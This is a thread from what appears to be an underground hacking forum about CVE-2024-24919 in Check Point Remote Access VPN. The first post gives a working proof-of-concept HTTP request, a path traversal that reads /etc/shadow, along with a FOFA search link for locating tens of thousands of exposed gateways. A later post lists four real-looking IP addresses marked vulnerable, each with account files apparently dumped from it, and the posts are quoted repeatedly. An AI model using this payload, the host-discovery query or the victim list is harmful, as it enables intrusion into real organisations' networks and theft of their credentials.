Remote CVE-2024-24919

blacksnake · 06.06.2024

CVE-2024-24919

Check Point Remote Access VPN 0-Day

more than 50K vul machine

*
FOFA link https://en.fofa.info/result?qbase64=YXBwPSJDaGVja19Qb2ludC1TU0wtTmV0d29yay1FeHRlbmRlciI=
*
POC:
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

its high time to end this society

slavenfww · 07.06.2024

blacksnake сказал(а):

CVE-2024-24919

Check Point Remote Access VPN 0-Day

more than 50K vul machine

*
FOFA link https://en.fofa.info/result?qbase64=YXBwPSJDaGVja19Qb2ludC1TU0wtTmV0d29yay1FeHRlbmRlciI=
*
POC:
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

its high time to end this society

these are IP addresses which have Check Point in use, it does not mean that all 50k are vulnerable.

blacksnake · 07.06.2024

slavenfww сказал(а):

these are IP addresses which have Check Point in use, it does not mean that all 50k are vulnerable.

i agree with you brother. Also they can be some honeypot :~)

Str0ng · 07.06.2024

blacksnake сказал(а):

i agree with you brother. Also they can be some honeypot :~)

[Vulnerable]: https://195.81.108.110/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

[Vulnerable]: https://210.13.91.99/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
cpep_user:x:1500:1500::/home/cpep_user:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

[Vulnerable]: https://80.157.239.66/
admin:x:0:0:Admin:/home/admin:/bin/bash
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
cp_extensions:x:8086:1:CP Extensions:/home/cp_extensions:/bin/sh
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
cpep_user:x:1500:1500::/home/cpep_user:/sbin/nologin
sshd:x:74:74:Privilege-separated-SSH:/var/empty/sshd:/sbin/nologin

[Vulnerable]: https://176.107.82.114/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
service-redchck-scan:x:0:100:Service-redchck-scan:/home/service-redchck-scan:/etc/cli.sh
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

and yes maybe honeypots!!

Str0ng · 07.06.2024

Str0ng сказал(а):

[Vulnerable]: https://195.81.108.110/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

[Vulnerable]: https://210.13.91.99/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
cpep_user:x:1500:1500::/home/cpep_user:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

[Vulnerable]: https://80.157.239.66/
admin:x:0:0:Admin:/home/admin:/bin/bash
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
cp_extensions:x:8086:1:CP Extensions:/home/cp_extensions:/bin/sh
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
cpep_user:x:1500:1500::/home/cpep_user:/sbin/nologin
sshd:x:74:74:Privilege-separated-SSH:/var/empty/sshd:/sbin/nologin

[Vulnerable]: https://176.107.82.114/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
service-redchck-scan:x:0:100:Service-redchck-scan:/home/service-redchck-scan:/etc/cli.sh
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

and yes maybe honeypots!!

blacksnake · 08.06.2024

Str0ng сказал(а):

[Vulnerable]: https://195.81.108.110/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

[Vulnerable]: https://210.13.91.99/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
cpep_user:x:1500:1500::/home/cpep_user:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

[Vulnerable]: https://80.157.239.66/
admin:x:0:0:Admin:/home/admin:/bin/bash
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
cp_extensions:x:8086:1:CP Extensions:/home/cp_extensions:/bin/sh
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
cpep_user:x:1500:1500::/home/cpep_user:/sbin/nologin
sshd:x:74:74:Privilege-separated-SSH:/var/empty/sshd:/sbin/nologin

[Vulnerable]: https://176.107.82.114/
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
service-redchck-scan:x:0:100:Service-redchck-scan:/home/service-redchck-scan:/etc/cli.sh
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh

and yes maybe honeypots!!

Aaahhhh Something is fishy here

upl04d3r · 12.06.2024

Thanks for the info. Is it known how many of the vulnerable machines might be honeypots?

Remote CVE-2024-24919

blacksnake

floppy-диск

slavenfww

(L3) cache

blacksnake

floppy-диск

Str0ng

(L3) cache

Str0ng

(L3) cache

blacksnake

floppy-диск

upl04d3r

CD-диск